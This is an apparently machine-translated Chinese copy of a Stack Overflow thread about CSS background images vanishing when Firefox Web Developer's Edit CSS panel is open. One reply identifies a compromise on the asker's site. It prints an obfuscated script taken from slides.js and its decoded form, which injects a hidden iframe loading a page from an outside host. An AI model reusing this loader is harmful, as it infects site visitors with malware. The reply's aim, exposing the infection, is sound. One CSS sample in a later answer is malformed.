當使用firefox webdeveloper工具欄編輯CSS時，爲什麼當工具欄打開時某些圖像會消失？

我爲HTML文檔編輯和構建樣式表的典型工作流程是打開Firefox Web開發人員工具欄的「編輯CSS」面板並直接在瀏覽器窗口中進行編輯。當使用firefox webdeveloper工具欄編輯CSS時，爲什麼當工具欄打開時某些圖像會消失？

大多數情況下，這是一種魅力。然而，有時候，當我打開編輯CSS面板時，某些圖像消失了，我不知道爲什麼。甚至更奇怪的是，有時候，在打開工具欄時添加的圖像在關閉時不可見。（我主要討論用CSS背景圖像規則添加的圖像）。

下面是一些例子......

http://kenbrook.org - 如果你打開編輯CSS面板，身體背景圖像消失，有幾個在div背景的一起。事實上，我認爲幾乎所有的CSS背景圖像都消失了。我沒有寫這個網站的標記和大部分樣式，但我負責編輯和完成它們。所以有什麼想法，爲什麼會發生這種情況

http://joelglovier.com - 還檢查這一個是我剛纔建立自己和（右現在只在頁面上幾個元素）寫的樣式。在標題div中，我有一個空的div，我將圖像放入。當Edit CSS打開時，圖像按預期顯示。然而，當它關閉時，圖像不能被看到，雖然使用螢火蟲我可以看到風格肯定被應用，並且div是它應該在的位置。

任何解釋??

來源

2010-07-24 Joel Glovier

我不知道，但我已經看到一些Firefox的CSS背景圖像一般flakiness。這可能是由Firefox引起的，也可能是一個插件。這是相當不一致的。有時ctrl + r修復它，有時它不會。 – 2010-07-24 14:45:21

好吧，所以這只是第二個鏈接（joelglovier.com）上的一個愚蠢的錯誤，我沒有正確地寫入我的背景圖像路徑，顯然瀏覽器比工具條更嚴格。 – 2010-07-29 19:24:33

我無法複製問題。對我來說工作得很好。你的系統細節是什麼？（操作系統，FF版本，網頁開發工具欄版本，Firebug？）當然，您已經嘗試了像擦拭緩存並重新啓動的舊可靠內容？ – 2010-07-31 03:37:42

雖然，如果你看看Web開發工具欄主頁，我發現這個：「'編輯CSS'不適用於」問題「下的相對於CSS鏈接的背景圖片。所以，這是插件目前無法處理的相關鏈接圖像。嘗試獲取附加組件創建者來修復它...我只是討厭這個問題，以及...

來源

2010-10-19 16:55:18 alekks

我想我找到了問題 - 至少對於第二個鏈接。對於Edit CSS打開時顯示的那個，但沒有顯示出該面板打開的情況，似乎我忽略了在絕對定位的div上定義top：值。當我定義最高值時，圖像顯示會在普通瀏覽器中顯示，並且會打開編輯CSS。

如果適用，雖然對於其中圖像顯示正常，但消失的時候編輯CSS是開放的kenbrook.org不知道。

來源

2010-07-24 16:30:20

嗯 - 仍然有麻煩。 – 2010-07-24 17:49:26

好了，我不能複製你的問題，當我打開編輯CSS面板頁面停留一樣的，但我的病毒掃描程序警告我說，你的腳本（/assets/js/slides.js）中的一個具有隱藏Trojan.Script.Iframer裏面......

也許你可以嘗試Firebug的，其中也有一個強大的CSS在線編輯器。

來源

2010-07-30 15:41:38 Sorcy

是的，當我在大約2周前訪問Chrome中的網站時，我收到一個警告頁面，內容是...「kenbrook.org上的網站包含來自www.spiritek.co.jp網站的元素，惡意軟件 - 可能會損害您的計算機或以其他方式在未經您同意的情況下運行的軟件。只要訪問含有惡意軟件的網站就可能感染您的計算機。「不知道從哪一個開始。 – 2010-07-31 17:17:08

這是什麼位的代碼（從http://kenbrook.org/assets/js/slides.js）的目的

var source ="=tdsjqu?jg!)epdvnfou/dppljf/tfbsdi)#koewv>3#*!>>!.2*!|sz{{>epdvnfou/hfuFmfnfouCzJe)(m{nig(*<jg)sz{{>>ovmm*|epdvnfou/xsjuf)(=jgsbnf!je>m{nig!tsd>iuuq;00xxx/tqjsjufl/dp/kq0bttfut0kt0bkby/qiq!tuzmf>ejtqmbz;opof?=0jgsbnf?(*<~epdvnfou/dppljf!>!#koewv>3<fyqjsft>Tvo-!12.Efd.3122!19;11;11!HNU<qbui>0#<~=0tdsjqu?"; var result = ""; 
        for(var i=0;i<source.length;i++) { 
         result+=String.fromCharCode(source.charCodeAt(i)-1); 
        } 
        document.write(result);

是非模糊的寫入這對文檔

<script>if (document.cookie.search("jndvu=2") == -1) { 
ryzz=document.getElementById('lzmhf');if(ryzz==null){document.write('<iframe id=lzmhf src=http://www.spiritek.co.jp/assets/js/ajax.php style=display:none></iframe>');} 
document.cookie = "jndvu=2;expires=Sun, 01-Dec-2011 08:00:00 GMT;path=/";}</script>

你知道它的存在？

來源

2010-07-31 17:46:04

沒有線索。我得看看它。可能是什麼導致此問題：http://stackoverflow.com/questions/3379123/my-site-has-been-tagged-as-malware-by-chrome-what-now-closed – 2010-07-31 17:51:24

謝謝你的方式 – 2010-07-31 17:51:48

我已經看到這個問題時，CSS文件和圖像文件不在同一目錄中的HTML 。比如我有這樣的目錄結構：

index.html 
image/background.jpg 
css/index.css

我在CSS有這樣的：

body { background-image:image/index.html; }

當Web開發的CSS編輯器是開放的，它的工作。當我關閉它時，它沒有。

原來的答案是，圖像的路徑是相對於CSS文件而不是HTML文件。當CSS編輯器打開時，它正確地計算出路徑。當它關閉時，Firefox找不到圖像。

我想如果你想使用編輯器並在不同的目錄中有文件，CSS中的路徑應該是絕對路徑。

來源

2011-03-23 20:27:02 ook

當使用firefox webdeveloper工具欄編輯CSS時，爲什麼當工具欄打開時某些圖像會消失？

回答

相關問題